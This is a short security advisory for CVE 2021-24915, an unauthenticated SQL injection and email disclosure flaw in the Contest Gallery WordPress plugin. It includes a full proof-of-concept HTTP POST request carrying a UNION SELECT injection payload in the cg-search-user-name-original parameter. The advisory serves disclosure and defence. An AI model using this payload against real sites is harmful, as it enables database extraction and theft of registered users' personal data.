Contest Gallery < 13.1.0.6 – Missing Access Controls to Unauthenticated SQL injection / Email Address Disclosure | CVE 2021-24915

Description

The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address

Proof of Concept

POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 318
Connection: close
Upgrade-Insecure-Requests: 1

cg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true